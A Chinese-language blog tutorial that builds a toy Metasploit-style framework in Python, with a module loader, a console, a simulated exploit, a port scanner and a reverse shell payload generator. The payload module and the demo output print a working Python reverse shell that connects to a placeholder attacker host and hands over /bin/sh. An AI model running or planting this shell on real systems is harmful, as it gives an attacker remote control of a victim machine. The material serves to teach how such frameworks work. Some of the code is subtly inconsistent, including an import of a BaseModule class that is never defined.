杰瑞科技汇

Python编写Metasploit

我们可以用 Python 来“编写”或更准确地说是“实现” Metasploit 的核心思想、模块和功能,这不仅能帮助我们理解 Metasploit 的工作原理,还能让我们构建出轻量级、定制化的安全测试工具。

本教程将分为以下几个部分:

  1. 理解 Metasploit 的核心架构:我们首先要明白 Metasploit 是由哪些部分组成的。
  2. 用 Python 搭建核心框架:创建一个可以加载和执行模块的简单框架。
  3. 编写 Payload 模块:创建一个简单的反向 TCP Shell payload。
  4. 编写 Exploit 模块:创建一个针对某个虚构漏洞的 exploit。
  5. 编写 Auxiliary 模块:创建一个端口扫描器作为辅助模块。
  6. 整合与演示:将所有部分组合起来,展示如何使用我们自己的“Python版Metasploit”。

理解 Metasploit 的核心架构

Metasploit 不是一个单一的程序,而是一个模块化的框架,其核心组件包括:

  • Core (核心):框架的基础,提供库、API 和服务,如模块管理、会话管理、数据库交互等。
  • Modules (模块):框架的“武器库”,是执行具体任务的代码单元,主要分为三类:
    • Exploits (利用模块):利用目标系统或应用程序中的漏洞,以获取访问权限。exploit/windows/smb/ms17_010_eternalblue
    • Payloads (载荷模块):在成功利用漏洞后,在目标系统上执行的代码。windows/meterpreter/reverse_tcp
    • Auxiliary (辅助模块):不直接用于获取访问权限,但用于信息收集、 fuzzing、漏洞扫描等。scanner/portscan/tcp
  • Payload Stager (载荷传送器):Payload 通常分为两部分,Stager 是一个很小的代码片段,负责在目标系统上建立通信通道(连接攻击者的机器),它会下载并执行更大的主载荷。
  • Console (控制台):用户与框架交互的界面,类似于命令行。
  • Database (数据库):用于存储扫描结果、主机信息、漏洞数据等,方便后续分析和关联。

我们的 Python 实现将聚焦于模块化这一核心思想。


用 Python 搭建核心框架

我们创建一个简单的项目结构,模仿 Metasploit 的模块化设计。

python_msf/
├── msf_core/
│   ├── __init__.py
│   ├── module_manager.py  # 负责加载和管理所有模块
│   └── console.py         # 简单的命令行界面
├── modules/
│   ├── exploits/
│   │   └── __init__.py
│   ├── payloads/
│   │   └── __init__.py
│   └── auxiliary/
│       └── __init__.py
└── main.py               # 程序入口

msf_core/module_manager.py

这个类是框架的核心,它负责动态地发现并加载所有模块。

import importlib
import os
import inspect
class ModuleManager:
    def __init__(self):
        self.modules = {
            'exploit': {},
            'payload': {},
            'auxiliary': {}
        }
        self.module_paths = {
            'exploit': 'modules.exploits',
            'payload': 'modules.payloads',
            'auxiliary': 'modules.auxiliary'
        }
    def load_modules(self):
        """从指定目录加载所有模块"""
        print("[*] 正在加载模块...")
        for module_type, path_prefix in self.module_paths.items():
            module_dir = os.path.join(os.path.dirname(__file__), '..', path_prefix)
            # 遍历模块目录下的所有 .py 文件
            for filename in os.listdir(module_dir):
                if filename.endswith('.py') and not filename.startswith('__'):
                    module_name = filename[:-3]  # 去掉 .py 后缀
                    full_module_path = f"{path_prefix}.{module_name}"
                    try:
                        # 动态导入模块
                        module = importlib.import_module(full_module_path)
                        # 遍历模块中的所有类
                        for name, cls in inspect.getmembers(module, inspect.isclass):
                            # 检查类是否是我们定义的模块基类
                            if hasattr(cls, 'MODULE_TYPE') and cls.MODULE_TYPE == module_type:
                                # 将模块注册到字典中,格式为 {模块名: 模块类}
                                self.modules[module_type][cls.METADATA['Name']] = cls
                        print(f"    [+] 已加载 {module_type} 模块: {module_name}")
                    except Exception as e:
                        print(f"    [-] 加载模块 {module_name} 失败: {e}")
        print("[*] 模块加载完成,\n")
    def get_module(self, module_type, name):
        """根据类型和名称获取模块实例"""
        if module_type in self.modules and name in self.modules[module_type]:
            return self.modules[module_type][name]()
        return None
    def list_modules(self, module_type=None):
        """列出所有可用的模块"""
        if module_type:
            if module_type in self.modules:
                print(f"\n--- {module_type.upper()} 模块列表 ---")
                for name in self.modules[module_type]:
                    print(f"  {name}")
            else:
                print(f"[-] 未知的模块类型: {module_type}")
        else:
            print("\n--- 所有模块类型 ---")
            for mod_type in self.modules:
                print(f"  {mod_type.capitalize()}: {len(self.modules[mod_type])} 个模块")

msf_core/console.py

这是我们的交互式控制台。

class Console:
    def __init__(self, module_manager):
        self.mm = module_manager
        self.running = True
        self.current_module = None
    def start(self):
        print("欢迎使用 Python-Metasploit 框架 v0.1")
        print("输入 'help' 查看可用命令。")
        while self.running:
            try:
                # 获取用户输入
                user_input = input("msf > ").strip()
                if not user_input:
                    continue
                parts = user_input.split()
                command = parts[0].lower()
                args = parts[1:]
                # 分发命令
                if command == 'help':
                    self.show_help()
                elif command == 'exit':
                    self.running = False
                elif command == 'list':
                    self.mm.list_modules(args[0] if args else None)
                elif command == 'use':
                    self.use_module(args)
                elif command == 'show':
                    self.show_info(args)
                elif command == 'run' or command == 'exploit':
                    if self.current_module:
                        self.run_module()
                    else:
                        print("[-] 请先使用 'use' 命令选择一个模块。")
                elif command == 'set':
                    if self.current_module:
                        self.set_option(args)
                    else:
                        print("[-] 请先使用 'use' 命令选择一个模块。")
                else:
                    print(f"[-] 未知命令: {command}")
            except KeyboardInterrupt:
                print("\n[*] 收到中断信号,正在退出...")
                self.running = False
            except Exception as e:
                print(f"[-] 发生错误: {e}")
    def show_help(self):
        print("""
        命令列表:
        ------------------------------------
        help                    显示此帮助信息
        exit                    退出框架
        list [type]             列出所有模块或指定类型的模块 (e.g., list exploit)
        use <module_name>       使用一个模块 (e.g., use my_simple_exploit)
        show options            显示当前模块的选项
        set <option> <value>    设置模块选项的值 (e.g., set RHOSTS 192.168.1.10)
        run / exploit           执行当前模块
        """)
    def use_module(self, args):
        if not args:
            print("[-] 'use' 命令需要一个模块名称作为参数。")
            return
        module_name = args[0]
        # 假设我们总是先使用 exploit 模块来演示
        self.current_module = self.mm.get_module('exploit', module_name)
        if self.current_module:
            print(f"[*] 已选择模块: {module_name}")
            print(f"[*] 描述: {self.current_module.METADATA['Description']}")
        else:
            print(f"[-] 未找到模块: {module_name}")
            self.current_module = None
    def show_info(self, args):
        if not self.current_module:
            print("[-] 没有选中的模块。")
            return
        if args and args[0] == 'options':
            print("\n--- 模块选项 ---")
            for opt, value in self.current_module.options.items():
                required = "(必需)" if self.current_module.required_options.get(opt) else ""
                print(f"  {opt} => {value} {required}")
        else:
            print("\n--- 模块信息 ---")
            for key, value in self.current_module.METADATA.items():
                print(f"  {key}: {value}")
    def set_option(self, args):
        if not self.current_module or len(args) < 2:
            print("[-] 'set' 命令需要选项名和值。")
            return
        opt_name = args[0]
        opt_value = ' '.join(args[1:])
        if opt_name in self.current_module.options:
            self.current_module.options[opt_name] = opt_value
            print(f"[*] {opt_name} => {opt_value}")
        else:
            print(f"[-] 模块没有名为 '{opt_name}' 的选项。")
    def run_module(self):
        print("\n[*] 正在执行模块...")
        try:
            # 检查必需选项
            for opt in self.current_module.required_options:
                if not self.current_module.options.get(opt):
                    print(f"[-] 缺少必需的选项: {opt}")
                    return
            # 调用模块的 run 方法
            self.current_module.run()
        except Exception as e:
            print(f"[-] 模块执行失败: {e}")

编写 Payload 模块

我们将创建一个简单的反向 TCP Shell payload,在实际的 Metasploit 中,payload 会更复杂,并包含 Stager。

modules/payloads/python_reverse_shell.py

# modules/payloads/python_reverse_shell.py
class BasePayload:
    """所有模块的基类"""
    MODULE_TYPE = None
    METADATA = {}
    options = {}
    required_options = {}
class PythonReverseShell(BasePayload):
    MODULE_TYPE = 'payload'
    METADATA = {
        'Name': 'python_reverse_shell',
        'Description': '一个简单的 Python 反向 Shell',
        'Author': 'Your Name',
        'License': 'BSD',
        'Platform': 'python', # 平台无关,只要有Python解释器
        'Arch': 'generic'
    }
    options = {
        'LHOST': {'Description': '监听地址', 'Value': '0.0.0.0'},
        'LPORT': {'Description': '监听端口', 'Value': '4444'}
    }
    required_options = ['LHOST', 'LPORT']
    def generate(self):
        """生成 payload 代码"""
        lhost = self.options.get('LHOST')
        lport = self.options.get('LPORT')
        # 这是一个非常简单的反向 shell 代码
        payload_code = f"""
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('{lhost}', {lport}))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(['/bin/sh', '-i'])
s.close()
"""
        return payload_code
    def run(self):
        """执行 payload(在真实场景中,这会是目标机器上执行的代码)"""
        print("[*] 正在生成反向 Shell 代码...")
        code = self.generate()
        print("\n--- Payload 代码 ---")
        print(code)
        print("--------------------")
        print(f"[*] 在目标机器上执行此代码,它将连接到 {self.options.get('LHOST')}:{self.options.get('LPORT')}")

编写 Exploit 模块

这个模块将利用一个虚构的漏洞,它将使用我们刚刚创建的 payload。

modules/exploits/my_simple_exploit.py

# modules/exploits/my_simple_exploit.py
import time
from msf_core.module_manager import BaseModule # 注意这里的导入路径
class MySimpleExploit(BaseModule):
    MODULE_TYPE = 'exploit'
    METADATA = {
        'Name': 'My Simple Vulnerable App Exploit',
        'Description': '利用一个虚构的 'GET /vulnerable' 漏洞来执行代码。',
        'Author': 'Your Name',
        'References': [],
        'DisclosureDate': '2025-01-01'
    }
    options = {
        'RHOSTS': {'Description': '目标主机地址', 'Value': '127.0.0.1'},
        'RPORT': {'Description': '目标端口', 'Value': '80'},
        'TARGETURI': {'Description': '漏洞路径', 'Value': '/vulnerable'},
        'PAYLOAD': {'Description': '使用的载荷', 'Value': 'python_reverse_shell'}
    }
    required_options = ['RHOSTS', 'RPORT', 'TARGETURI', 'PAYLOAD']
    def __init__(self):
        super().__init__()
        self.payload_instance = None
    def setup_payload(self):
        """根据选择的载荷类型初始化载荷实例"""
        # 在真实框架中,这里会更复杂,会从模块管理器中查找
        if self.options.get('PAYLOAD') == 'python_reverse_shell':
            # 注意:在实际项目中,应该从模块管理器获取,而不是直接导入
            from modules.payloads.python_reverse_shell import PythonReverseShell
            self.payload_instance = PythonReverseShell()
            # 将 exploit 的选项传递给 payload
            self.payload_instance.options = self.payload_instance.options.copy()
            self.payload_instance.options['LHOST'] = 'YOUR_ATTACKER_IP' # 攻击者IP
            self.payload_instance.options['LPORT'] = '4444'
            print("[*] 载荷已设置: python_reverse_shell")
        else:
            print(f"[-] 不支持的载荷: {self.options.get('PAYLOAD')}")
            return False
        return True
    def run(self):
        """执行利用过程"""
        print(f"[*] 正在攻击 {self.options.get('RHOSTS')}:{self.options.get('RPORT')}")
        print(f"[*] 目标 URI: {self.options.get('TARGETURI')}")
        if not self.setup_payload():
            return
        # --- 模拟利用过程 ---
        print("[*] 发送恶意请求...")
        time.sleep(1) # 模拟网络延迟
        print("[*] 请求已发送,等待响应...")
        time.sleep(1)
        # --- 模拟成功 ---
        print("\n[+] 漏洞利用成功!")
        # --- 执行载荷 ---
        print("[*] 正在目标上执行载荷...")
        # 在真实场景中,这里是将 payload 代码注入目标进程并执行
        # 这里我们直接调用 payload 的 run 方法来模拟
        self.payload_instance.run()

编写 Auxiliary 模块

一个简单的 TCP 端口扫描器。

modules/auxiliary/tcp_port_scanner.py

# modules/auxiliary/tcp_port_scanner.py
import socket
from msf_core.module_manager import BaseModule
class TcpPortScanner(BaseModule):
    MODULE_TYPE = 'auxiliary'
    METADATA = {
        'Name': 'TCP Port Scanner',
        'Description': '一个简单的 TCP 端口扫描器。',
        'Author': 'Your Name'
    }
    options = {
        'RHOSTS': {'Description': '目标主机地址', 'Value': '127.0.0.1'},
        'RPORTS': {'Description': '要扫描的端口列表 (逗号分隔)', 'Value': '22,80,443,8080'},
        'TIMEOUT': {'Description': '连接超时时间 (秒)', 'Value': '2'}
    }
    required_options = ['RHOSTS', 'RPORTS']
    def run(self):
        target_host = self.options.get('RHOSTS')
        ports_str = self.options.get('RPORTS')
        timeout = int(self.options.get('TIMEOUT'))
        ports = [int(p.strip()) for p in ports_str.split(',')]
        print(f"[*] 正在扫描 {target_host} 的端口: {ports}")
        for port in ports:
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.settimeout(timeout)
                result = s.connect_ex((target_host, port))
                if result == 0:
                    print(f"    [+] 端口 {port} 开放")
                else:
                    print(f"    [-] 端口 {port} 关闭")
                s.close()
            except Exception as e:
                print(f"    [-] 扫描端口 {port} 时出错: {e}")
        print("[*] 扫描完成。")

整合与演示

我们创建入口文件 main.py 来启动整个框架。

main.py

from msf_core.module_manager import ModuleManager
from msf_core.console import Console
def main():
    # 1. 初始化模块管理器并加载所有模块
    mm = ModuleManager()
    mm.load_modules()
    # 2. 初始化控制台
    console = Console(mm)
    # 3. 启动控制台循环
    console.start()
if __name__ == '__main__':
    main()

如何运行

  1. 确保你的项目结构如上所示。
  2. 在终端中进入 python_msf 目录。
  3. 运行 python main.py

你将看到类似下面的输出:

$ python main.py
[*] 正在加载模块...
    [+] 已加载 exploit 模块: my_simple_exploit
    [+] 已加载 payload 模块: python_reverse_shell
    [+] 已加载 auxiliary 模块: tcp_port_scanner
[*] 模块加载完成。
欢迎使用 Python-Metasploit 框架 v0.1
输入 'help' 查看可用命令。
msf > help
        命令列表:
        ------------------------------------
        help                    显示此帮助信息
        exit                    退出框架
        list [type]             列出所有模块或指定类型的模块 (e.g., list exploit)
        use <module_name>       使用一个模块 (e.g., use my_simple_exploit)
        show options            显示当前模块的选项
        set <option> <value>    设置模块选项的值 (e.g., set RHOSTS 192.168.1.10)
        run / exploit           执行当前模块
        msf > list exploit
--- EXPLOIT 模块列表 ---
  My Simple Vulnerable App Exploit
msf > use My Simple Vulnerable App Exploit
[*] 已选择模块: My Simple Vulnerable App Exploit
[*] 描述: 利用一个虚构的 'GET /vulnerable' 漏洞来执行代码。
msf > show options
--- 模块信息 ---
  Name: My Simple Vulnerable App Exploit
  Description: 利用一个虚构的 'GET /vulnerable' 漏洞来执行代码。
  Author: Your Name
  References: []
  DisclosureDate: 2025-01-01
--- 模块选项 ---
  RHOSTS => 127.0.0.1 (必需)
  RPORT => 80 (必需)
  TARGETURI => /vulnerable (必需)
  PAYLOAD => python_reverse_shell (必需)
msf > set RHOSTS 192.168.1.105
[*] RHOSTS => 192.168.1.105
msf > run
[*] 正在攻击 192.168.1.105:80
[*] 目标 URI: /vulnerable
[*] 载荷已设置: python_reverse_shell
[*] 发送恶意请求...
[*] 请求已发送,等待响应...
[+] 漏洞利用成功!
[*] 正在目标上执行载荷...
[*] 正在生成反向 Shell 代码...
--- Payload 代码 ---
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('YOUR_ATTACKER_IP', 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(['/bin/sh', '-i'])
s.close()
--------------------
[*] 在目标机器上执行此代码,它将连接到 YOUR_ATTACKER_IP:4444
msf > exit
[*] 收到中断信号,正在退出...

通过这个项目,我们成功地用 Python 模拟了 Metasploit 的核心工作流程:

  • 模块化设计:将不同的功能(Exploit, Payload, Auxiliary)分离成独立的模块。
  • 动态加载:框架在启动时自动扫描并加载所有模块。
  • 统一的接口:所有模块都遵循一个基类结构,拥有 run() 方法和 options 字典。
  • 交互式控制台:提供了类似 MSFConsole 的用户体验。

可以进一步扩展的方向:

  1. 数据库集成:使用 sqlite3pymongo 将扫描结果、主机信息存储起来。
  2. 更复杂的 Payload:实现 Meterpreter 或其他高级载荷的简化版,这需要处理编码、加密和通信协议。
  3. 多线程/异步支持:让辅助模块(如扫描器)能更快地执行。
  4. 插件系统:允许用户在不修改核心代码的情况下,通过插件添加新模块。
  5. 后处理器:在模块执行后,对输出结果进行处理和分析。

这个项目不仅是一个编程练习,更是一个极好的学习工具,能让你深刻理解 Metasploit 这款强大工具的内部构造和设计哲学。

分享:
扫描分享到社交APP
上一篇
下一篇